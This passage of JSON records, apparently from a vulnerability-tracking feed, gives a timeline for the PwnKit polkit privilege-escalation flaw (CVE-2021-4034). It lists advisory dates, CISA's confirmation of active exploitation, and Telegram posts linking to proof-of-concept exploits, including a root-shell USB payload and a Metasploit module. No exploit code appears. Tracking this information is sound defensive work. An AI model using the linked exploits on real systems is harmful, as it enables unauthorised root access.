"GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aDawnKit is Privilege Escalation USB-Rubber-Ducky payload, which exploits CVE-2021-4034 in less than 10sec's and spawns root shell for you.\nURL\uff1ahttps://github.com/drapl0n/dawnKit", "url": "https://t.me/GithubRedTeam/1473"}, {"timestamp": "2022-02-04T19:04:17Z", "date_only": false, "value": "2022-02-04T19:04:17.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/MoroccanGh0sts/170", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "069c32fa-58ad-4163-af90-9406e37b7b86", "content": "PoC for PwnKit: Local Privilege Escalation Vulnerability in polkit\u2019s pkexec (CVE-2021-4034)  \u26a0", "url": "https://t.me/MoroccanGh0sts/170"}, {"timestamp": "2022-02-07T10:46:52Z", "date_only": false, "value": "2022-02-07T10:46:52+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_redhat \u00b7 RHSA-2022:0443", "record": "RHSA-2022:0443", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2022-02-07T10:46:52Z", "date_only": false, "value": "2022-02-07T10:46:52+00:00", "kind": "other", "label": "Date", "source": "csaf_redhat \u00b7 RHSA-2022:0443", "record": "RHSA-2022:0443", "field": "vulnerabilities.0.remediations.0.date"}, {"timestamp": "2022-02-07T10:46:52Z", "date_only": false, "value": "2022-02-07T10:46:52+00:00", "kind": "milestone", "label": "Published", "source": "csaf_redhat \u00b7 RHSA-2022:0443", "record": "RHSA-2022:0443", "field": "document.tracking.initial_release_date"}, {"timestamp": "2022-02-07T14:59:57Z", "date_only": false, "value": "2022-02-07T14:59:57.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/intelexch/7747", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "74cb48f5-b4d7-4e77-8625-e770fa7a29b0", "content": "https://github.com/Joffr3y/Polkit-CVE-2021-4034-HLP", "url": "https://t.me/intelexch/7747"}, {"timestamp": "2022-02-07T23:00:00Z", "date_only": false, "value": "2022-02-07T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1483", "record": "WID-SEC-W-2022-1483", "field": "document.tracking.revision_history.6.date"}, {"timestamp": "2022-02-11T13:56:39Z", "date_only": false, "value": "2022-02-11T13:56:39.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/ctinow/46812", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "847f3f99-c872-43a2-acb8-56211a23ccf7", "content": "Detecting PwnKit (CVE-2021-4034) Using Trend Micro\u2122 Vision One\u2122 and Cloud One\u2122\n\nhttps://ift.tt/GYzCcfD", "url": "https://t.me/ctinow/46812"}, {"timestamp": "2022-02-15T11:01:25Z", "date_only": false, "value": "2022-02-15T11:01:25+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_redhat \u00b7 RHSA-2022:0540", "record": "RHSA-2022:0540", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2022-02-15T11:01:25Z", "date_only": false, "value": "2022-02-15T11:01:25+00:00", "kind": "other", "label": "Date", "source": "csaf_redhat \u00b7 RHSA-2022:0540", "record": "RHSA-2022:0540", "field": "vulnerabilities.0.remediations.0.date"}, {"timestamp": "2022-02-15T11:01:25Z", "date_only": false, "value": "2022-02-15T11:01:25+00:00", "kind": "milestone", "label": "Published", "source": "csaf_redhat \u00b7 RHSA-2022:0540", "record": "RHSA-2022:0540", "field": "document.tracking.initial_release_date"}, {"timestamp": "2022-02-15T23:00:00Z", "date_only": false, "value": "2022-02-15T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1483", "record": "WID-SEC-W-2022-1483", "field": "document.tracking.revision_history.7.date"}, {"timestamp": "2022-02-16T23:00:00Z", "date_only": false, "value": "2022-02-16T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1483", "record": "WID-SEC-W-2022-1483", "field": "document.tracking.revision_history.8.date"}, {"timestamp": "2022-02-23T16:00:00Z", "date_only": false, "value": "2022-02-23T16:00:00.000Z", "kind": "other", "label": "Advisory revision", "source": "csaf_sick \u00b7 SCA-2022-0002", "record": "SCA-2022-0002", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2022-02-23T16:00:00Z", "date_only": false, "value": "2022-02-23T16:00:00.000Z", "kind": "other", "label": "Date", "source": "csaf_sick \u00b7 SCA-2022-0002", "record": "SCA-2022-0002", "field": "vulnerabilities.0.remediations.0.date"}, {"timestamp": "2022-02-23T16:00:00Z", "date_only": false, "value": "2022-02-23T16:00:00.000Z", "kind": "milestone", "label": "Published", "source": "csaf_sick \u00b7 SCA-2022-0002", "record": "SCA-2022-0002", "field": "document.tracking.initial_release_date"}, {"timestamp": "2022-02-23T16:00:00Z", "date_only": false, "value": "2022-02-23T16:00:00.000Z", "kind": "other", "label": "Updated", "source": "csaf_sick \u00b7 SCA-2022-0002", "record": "SCA-2022-0002", "field": "document.tracking.current_release_date"}, {"timestamp": "2022-02-24T23:00:00Z", "date_only": false, "value": "2022-02-24T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1483", "record": "WID-SEC-W-2022-1483", "field": "document.tracking.revision_history.9.date"}, {"timestamp": "2022-03-03T14:43:22Z", "date_only": false, "value": "2022-03-03T14:43:22.000000Z", "kind": "sighting", "label": "Seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "6cf74947-129a-4f07-a7d1-9d17475df82c", "url": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb"}, {"timestamp": "2022-03-03T23:00:00Z", "date_only": false, "value": "2022-03-03T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1483", "record": "WID-SEC-W-2022-1483", "field": "document.tracking.revision_history.10.date"}, {"timestamp": "2022-03-09T00:00:00Z", "date_only": false, "value": "2022-03-09T00:00:00", "kind": "other", "label": "Last revision date", "source": "certfr_avis \u00b7 CERTFR-2022-AVI-223", "record": "CERTFR-2022-AVI-223", "field": "last_revision_date"}, {"timestamp": "2022-03-09T00:00:00Z", "date_only": false, "value": "2022-03-09T00:00:00", "kind": "milestone", "label": "Published", "source": "certfr_avis \u00b7 CERTFR-2022-AVI-223", "record": "CERTFR-2022-AVI-223", "field": "initial_release_date"}, {"timestamp": "2022-03-09T00:00:00Z", "date_only": false, "value": "2022-03-09T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_avis \u00b7 CERTFR-2022-AVI-223", "record": "CERTFR-2022-AVI-223", "field": "revisions.0.revision_date"}, {"timestamp": "2022-03-12T19:48:01Z", "date_only": false, "value": "2022-03-12T19:48:01.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/reconshell/1216", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "99c01139-5f83-4508-bd83-afef8b367ed5", "content": "Automatic Linux privesc exploitation\n\n#CVE-2021-3560 #CVE-2021-4034 #CVE-2022-0847\n#Linux #privesc #exploitation #PrivilegeEscalation\n#vulnerabilities #root #shell #Exploit #Hacking\n\nhttps://reconshell.com/automatic-linux-privesc-exploitation/", "url": "https://t.me/reconshell/1216"}, {"timestamp": "2022-03-13T23:00:00Z", "date_only": false, "value": "2022-03-13T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2023-0426", "record": "WID-SEC-W-2023-0426", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2022-03-13T23:00:00Z", "date_only": false, "value": "2022-03-13T23:00:00.000+00:00", "kind": "milestone", "label": "Published", "source": "csaf_certbund \u00b7 WID-SEC-W-2023-0426", "record": "WID-SEC-W-2023-0426", "field": "document.tracking.initial_release_date"}, {"timestamp": "2022-03-13T23:00:00Z", "date_only": false, "value": "2022-03-13T23:00:00.000+00:00", "kind": "other", "label": "Release date", "source": "csaf_certbund \u00b7 WID-SEC-W-2023-0426", "record": "WID-SEC-W-2023-0426", "field": "vulnerabilities.0.release_date"}, {"timestamp": "2022-03-14T00:00:00Z", "date_only": false, "value": "2022-03-14T00:00:00", "kind": "other", "label": "Last revision date", "source": "certfr_avis \u00b7 CERTFR-2022-AVI-239", "record": "CERTFR-2022-AVI-239", "field": "last_revision_date"}, {"timestamp": "2022-03-14T00:00:00Z", "date_only": false, "value": "2022-03-14T00:00:00", "kind": "milestone", "label": "Published", "source": "certfr_avis \u00b7 CERTFR-2022-AVI-239", "record": "CERTFR-2022-AVI-239", "field": "initial_release_date"}, {"timestamp": "2022-03-14T00:00:00Z", "date_only": false, "value": "2022-03-14T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_avis \u00b7 CERTFR-2022-AVI-239", "record": "CERTFR-2022-AVI-239", "field": "revisions.0.revision_date"}, {"timestamp": "2022-03-23T07:47:08Z", "date_only": false, "value": "2022-03-23T07:47:08.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/intelexch/7692", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "857df057-d8a9-4f3f-9e57-7fa7a74a8c5d", "content": "https://github.com/rayheffer/CVE-2021-4034", "url": "https://t.me/intelexch/7692"}, {"timestamp": "2022-04-04T22:00:00Z", "date_only": false, "value": "2022-04-04T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1483", "record": "WID-SEC-W-2022-1483", "field": "document.tracking.revision_history.11.date"}, {"timestamp": "2022-04-12T20:48:01Z", "date_only": false, "value": "2022-04-12T20:48:01.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/reconshell/1245", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "978e92cb-5a97-4cdb-8ef3-6addbb89db8f", "content": "CVE-2021-4034 Local privilege escalation\n\n#CVE-2021-4034 #Vulnerability #PrivilegeEscalation\n#Exploit #Malware #Hacking #RootExploit #BugBounty\n\nhttps://reconshell.com/cve-2021-4034-local-privilege-escalation/", "url": "https://t.me/reconshell/1245"}, {"timestamp": "2022-04-15T00:00:00Z", "date_only": false, "value": "2022-04-15T00:00:00", "kind": "other", "label": "Last revision date", "source": "certfr_avis \u00b7 CERTFR-2022-AVI-351", "record": "CERTFR-2022-AVI-351", "field": "last_revision_date"}, {"timestamp": "2022-04-15T00:00:00Z", "date_only": false, "value": "2022-04-15T00:00:00", "kind": "milestone", "label": "Published", "source": "certfr_avis \u00b7 CERTFR-2022-AVI-351", "record": "CERTFR-2022-AVI-351", "field": "initial_release_date"}, {"timestamp": "2022-04-15T00:00:00Z", "date_only": false, "value": "2022-04-15T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_avis \u00b7 CERTFR-2022-AVI-351", "record": "CERTFR-2022-AVI-351", "field": "revisions.0.revision_date"}, {"timestamp": "2022-04-24T06:41:52Z", "date_only": false, "value": "2022-04-24T06:41:52.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/MoroccanGh0sts/168", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "66284b70-4a1c-4e8a-9905-915438e45463", "content": "https://github.com/OxWeb4/CVE-2021-4034-", "url": "https://t.me/MoroccanGh0sts/168"}, {"timestamp": "2022-04-29T07:00:04Z", "date_only": false, "value": "2022-04-29T07:00:04.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/poxek/1427", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "3f0c8ca6-6790-4e0a-ad70-d0aaecbec357", "content": "\u200bCVE-2021-4034\n\u041b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0430\u0432 \u0447\u0435\u0440\u0435\u0437 pkexec\nhttps://github.com/PwnFunction/CVE-2021-4034\n\n\u0414\u043d\u0435\u0432\u043d\u0438\u043a \u0411\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u0438\u043a\u0430 \ud83d\udee1\ufe0f", "url": "https://t.me/poxek/1427"}, {"timestamp": "2022-05-31T08:02:18Z", "date_only": false, "value": "2022-05-31T08:02:18.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/RalfHackerChannel/1161", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "97edaf09-3586-44eb-ab6d-a07a5f7f9325", "content": "CVE-2022-0185 Container Escape PoC: \n\nhttps://github.com/Crusaders-of-Rust/CVE-2022-0185\n\nCVE-2021-4034 Privilege Escalation polkit pkexec PoC:\n\nhttps://github.com/berdav/CVE-2021-4034\n\n#git #exploit", "url": "https://t.me/RalfHackerChannel/1161"}, {"timestamp": "2022-06-14T00:00:00Z", "date_only": false, "value": "2022-06-14T00:00:00.000000Z", "kind": "other", "label": "Advisory revision", "source": "csaf_cisa \u00b7 ICSA-22-167-16", "record": "ICSA-22-167-16", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2022-06-14T00:00:00Z", "date_only": false, "value": "2022-06-14T00:00:00Z", "kind": "other", "label": "Advisory revision", "source": "csaf_siemens \u00b7 SSA-330556", "record": "SSA-330556", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2022-06-14T00:00:00Z", "date_only": false, "value": "2022-06-14T00:00:00.000000Z", "kind": "milestone", "label": "Published", "source": "csaf_cisa \u00b7 ICSA-22-167-16", "record": "ICSA-22-167-16", "field": "document.tracking.initial_release_date"}, {"timestamp": "2022-06-14T00:00:00Z", "date_only": false, "value": "2022-06-14T00:00:00Z", "kind": "milestone", "label": "Published", "source": "csaf_siemens \u00b7 SSA-330556", "record": "SSA-330556", "field": "document.tracking.initial_release_date"}, {"timestamp": "2022-06-14T00:00:00Z", "date_only": false, "value": "2022-06-14T00:00:00.000000Z", "kind": "other", "label": "Updated", "source": "csaf_cisa \u00b7 ICSA-22-167-16", "record": "ICSA-22-167-16", "field": "document.tracking.current_release_date"}, {"timestamp": "2022-06-14T00:00:00Z", "date_only": false, "value": "2022-06-14T00:00:00Z", "kind": "other", "label": "Updated", "source": "csaf_siemens \u00b7 SSA-330556", "record": "SSA-330556", "field": "document.tracking.current_release_date"}, {"timestamp": "2022-06-14T22:00:00Z", "date_only": false, "value": "2022-06-14T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-0302", "record": "WID-SEC-W-2022-0302", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2022-06-14T22:00:00Z", "date_only": false, "value": "2022-06-14T22:00:00.000+00:00", "kind": "milestone", "label": "Published", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-0302", "record": "WID-SEC-W-2022-0302", "field": "document.tracking.initial_release_date"}, {"timestamp": "2022-06-14T22:00:00Z", "date_only": false, "value": "2022-06-14T22:00:00.000+00:00", "kind": "other", "label": "Release date", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-0302", "record": "WID-SEC-W-2022-0302", "field": "vulnerabilities.0.release_date"}, {"timestamp": "2022-06-15T00:00:00Z", "date_only": false, "value": "2022-06-15T00:00:00", "kind": "other", "label": "Last revision date", "source": "certfr_avis \u00b7 CERTFR-2022-AVI-547", "record": "CERTFR-2022-AVI-547", "field": "last_revision_date"}, {"timestamp": "2022-06-15T00:00:00Z", "date_only": false, "value": "2022-06-15T00:00:00", "kind": "milestone", "label": "Published", "source": "certfr_avis \u00b7 CERTFR-2022-AVI-547", "record": "CERTFR-2022-AVI-547", "field": "initial_release_date"}, {"timestamp": "2022-06-15T00:00:00Z", "date_only": false, "value": "2022-06-15T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_avis \u00b7 CERTFR-2022-AVI-547", "record": "CERTFR-2022-AVI-547", "field": "revisions.0.revision_date"}, {"timestamp": "2022-06-21T22:00:00Z", "date_only": false, "value": "2022-06-21T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-0302", "record": "WID-SEC-W-2022-0302", "field": "document.tracking.revision_history.1.date"}, {"timestamp": "2022-06-21T22:00:00Z", "date_only": false, "value": "2022-06-21T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-0432", "record": "WID-SEC-W-2022-0432", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2022-06-21T22:00:00Z", "date_only": false, "value": "2022-06-21T22:00:00.000+00:00", "kind": "milestone", "label": "Published", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-0432", "record": "WID-SEC-W-2022-0432", "field": "document.tracking.initial_release_date"}, {"timestamp": "2022-06-21T22:00:00Z", "date_only": false, "value": "2022-06-21T22:00:00.000+00:00", "kind": "other", "label": "Release date", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-0432", "record": "WID-SEC-W-2022-0432", "field": "vulnerabilities.0.release_date"}, {"timestamp": "2022-06-27T00:00:00Z", "date_only": false, "value": "2022-06-27T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "cisa-kev", "record": "CVE-2021-4034", "field": "timestamps.asserted_at", "uuid": "0a662f09-c230-4d89-be13-4975ab3a3528", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2022-06-27T00:00:00Z", "date_only": false, "value": "2022-06-27T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "kevintel", "record": "CVE-2021-4034", "field": "timestamps.asserted_at", "uuid": "c7b605ce-d967-4e13-b03c-c359aacadabf", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2022-06-27T00:00:00Z", "date_only": true, "value": "2022-06-27", "kind": "other", "label": "Catalog added", "source": "cvelistv5 / CISA-ADP", "record": "cve-2021-4034", "field": "containers.adp.1.metrics.2.other.content.dateAdded"}, {"timestamp": "2022-06-27T00:00:00Z", "date_only": false, "value": "2022-06-27T00:00:00.000Z", "kind": "kev", "label": "Catalog added", "source": "kevintel", "record": "CVE-2021-4034", "field": "evidence.0.details.added_date", "uuid": "c7b605ce-d967-4e13-b03c-c359aacadabf", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2022-06-27T00:00:00Z", "date_only": false, "value": "2022-06-27T00:00:00+00:00", "kind": "other", "label": "Date", "source": "csaf_redhat \u00b7 RHSA-2022:0265", "record": "RHSA-2022:0265", "field": "vulnerabilities.0.threats.0.date"}, {"timestamp": "2022-06-27T00:00:00Z", "date_only": false, "value": "2022-06-27T00:00:00+00:00", "kind": "other", "label": "Date", "source": "csaf_redhat \u00b7 RHSA-2022:0266", "record": "RHSA-2022:0266", "field": "vulnerabilities.0.threats.0.date"}, {"timestamp": "2022-06-27T00:00:00Z", "date_only": false, "value": "2022-06-27T00:00:00+00:00", "kind": "other", "label": "Date", "source": "csaf_redhat \u00b7 RHSA-2022:0268", "record": "RHSA-2022:0268", "field": "vulnerabilities.0.threats.0.date"}, {"timestamp": "2022-06-27T00:00:00Z", "date_only": false, "value": "2022-06-27T00:00:00+00:00", "kind": "other", "label": "Date", "source": "csaf_redhat \u00b7 RHSA-2022:0269", "record": "RHSA-2022:0269", "field": "vulnerabilities.0.threats.0.date"}, {"timestamp": "2022-06-27T00:00:00Z", "date_only": false, "value": "2022-06-27T00:00:00+00:00", "kind": "other", "label": "Date", "source": "csaf_redhat \u00b7 RHSA-2022:0270", "record": "RHSA-2022:0270", "field": "vulnerabilities.0.threats.0.date"}, {"timestamp": "2022-06-27T00:00:00Z", "date_only": false, "value": "2022-06-27T00:00:00+00:00", "kind": "other", "label": "Date", "source": "csaf_redhat \u00b7 RHSA-2022:0271", "record": "RHSA-2022:0271", "field": "vulnerabilities.0.threats.0.date"}, {"timestamp": "2022-06-27T00:00:00Z", "date_only": false, "value": "2022-06-27T00:00:00+00:00", "kind": "other", "label": "Date", "source": "csaf_redhat \u00b7 RHSA-2022:0272", "record": "RHSA-2022:0272", "field": "vulnerabilities.0.threats.0.date"}, {"timestamp": "2022-06-27T00:00:00Z", "date_only": false, "value": "2022-06-27T00:00:00+00:00", "kind": "other", "label": "Date", "source": "csaf_redhat \u00b7 RHSA-2022:0273", "record": "RHSA-2022:0273", "field": "vulnerabilities.0.threats.0.date"}, {"timestamp": "2022-06-27T00:00:00Z", "date_only": false, "value": "2022-06-27T00:00:00+00:00", "kind": "other", "label": "Date", "source": "csaf_redhat \u00b7 RHSA-2022:0443", "record": "RHSA-2022:0443", "field": "vulnerabilities.1.threats.0.date"}, {"timestamp": "2022-06-27T00:00:00Z", "date_only": false, "value": "2022-06-27T00:00:00+00:00", "kind": "other", "label": "Date", "source": "csaf_redhat \u00b7 RHSA-2022:0540", "record": "RHSA-2022:0540", "field": "vulnerabilities.0.threats.0.date"}, {"timestamp": "2022-06-27T00:00:00Z", "date_only": true, "value": "2022-06-27", "kind": "kev", "label": "Date added", "source": "cisa-kev", "record": "CVE-2021-4034", "field": "evidence.0.details.date_added", "uuid": "0a662f09-c230-4d89-be13-4975ab3a3528", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2022-06-27T00:00:00Z", "date_only": false, "value": "2022-06-27T00:00:00+00:00", "kind": "kev", "label": "First seen", "source": "cisa-kev", "record": "CVE-2021-4034", "field": "timestamps.first_seen_at", "uuid": "0a662f09-c230-4d89-be13-4975ab3a3528", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2022-06-27T00:00:00Z", "date_only": false, "value": "2022-06-27T00:00:00+00:00", "kind": "kev", "label": "First seen", "source": "kevintel", "record": "CVE-2021-4034", "field": "timestamps.first_seen_at", "uuid": "c7b605ce-d967-4e13-b03c-c359aacadabf", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2022-06-27T00:00:00Z", "date_only": false, "value": "2022-06-27T00:00:00+00:00", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "cve-2021-4034", "field": "containers.adp.1.metrics.1.other.content.timestamp"}, {"timestamp": "2022-06-27T00:00:00Z", "date_only": false, "value": "2022-06-27T00:00:00+00:00", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2021-4034", "record": "FKIE_CVE-2021-4034", "field": "metrics.ssvcV203.0.ssvcData.timestamp"}, {"timestamp": "2022-06-27T00:00:00Z", "date_only": false, "value": "2022-06-27T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "cisa-kev", "record": "CVE-2021-4034", "field": "status.status_updated_at", "uuid": "0a662f09-c230-4d89-be13-4975ab3a3528", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2022-06-27T00:00:00Z", "date_only": false, "value": "2022-06-27T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "kevintel", "record": "CVE-2021-4034", "field": "status.status_updated_at", "uuid": "c7b605ce-d967-4e13-b03c-c359aacadabf", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2022-06-27T00:00:00Z", "date_only": false, "value": "2022-06-27T00:00:00.000Z", "kind": "other", "label": "Time", "source": "cvelistv5 / CISA-ADP", "record": "cve-2021-4034", "field": "containers.adp.1.timeline.0.time"}, {"timestamp": "2022-06-28T20:08:30Z", "date_only": false, "value": "2022-06-28T20:08:30.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/information_security_channel/47854", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "081adbf5-d071-4558-8533-c3f4b5ecce4b", "content": "CISA Says 'PwnKit' Linux Vulnerability Exploited in Attacks\nhttps://www.securityweek.com/cisa-says-pwnkit-linux-vulnerability-exploited-attacks\n\nThe US Cybersecurity and Infrastructure Security Agency (CISA) says a Linux vulnerability tracked as CVE-2021-4034 and PwnKit has been exploited in attacks.\nread more (https://www.securityweek.com/cisa-says-pwnkit-linux-vulnerability-exploited-attacks)", "url": "https://t.me/information_security_channel/47854"}, {"timestamp": "2022-06-29T10:35:08Z", "date_only": false, "value": "2022-06-29T10:35:08.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/haccking/8145", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "84ba1fce-3c76-44eb-a23f-5afde9d4e9b5", "content": "CISA \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430 \u043e\u0431 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 Linux-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 PwnKit \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445\n\n\u0410\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u043e \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u0421\u0428\u0410 (CISA) \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c PwnKit \u0432 \u0441\u043f\u0438\u0441\u043e\u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u041d\u0430\u043f\u043e\u043c\u043d\u0438\u043c, \u0447\u0442\u043e \u044d\u0442\u0430 \u0431\u0440\u0435\u0448\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0435 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0432\u0441\u0435\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 Linux. PwnKit \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u0434 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u043c CVE-2021-4034, \u0435\u0439 \u043f\u0440\u0438\u0441\u0432\u043e\u0438\u043b\u0438 7,8 \u0431\u0430\u043b\u043b\u0430 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS. \u041e \u0431\u0430\u0433\u0435 \u0441\u0442\u0430\u043b\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u0432 \u044f\u043d\u0432\u0430\u0440\u0435, \u043a\u043e\u0433\u0434\u0430 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u043b\u0438, \u0447\u0442\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c pkexec \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0430\u0432 \u0434\u043e root.\n\nLife hack \ud83d\udc48", "url": "https://t.me/haccking/8145"}, {"timestamp": "2022-06-30T05:37:30Z", "date_only": false, "value": "2022-06-30T05:37:30.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/codeby_sec/6165", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "8406035a-91b9-4a7d-905b-616d1f6b2e63", "content": "\ud83d\udc27 CISA \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u0445, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c PwnKit \u0432 Linux\n\n\u0410\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u043e \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0437\u0430\u0449\u0438\u0442\u0435 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b (CISA) \u0432\u043d\u0435\u0441\u043b\u043e \u0432 \u0441\u043f\u0438\u0441\u043e\u043a \u043e\u0448\u0438\u0431\u043e\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u044b\u0441\u043e\u043a\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 Linux, \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0443\u044e \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c 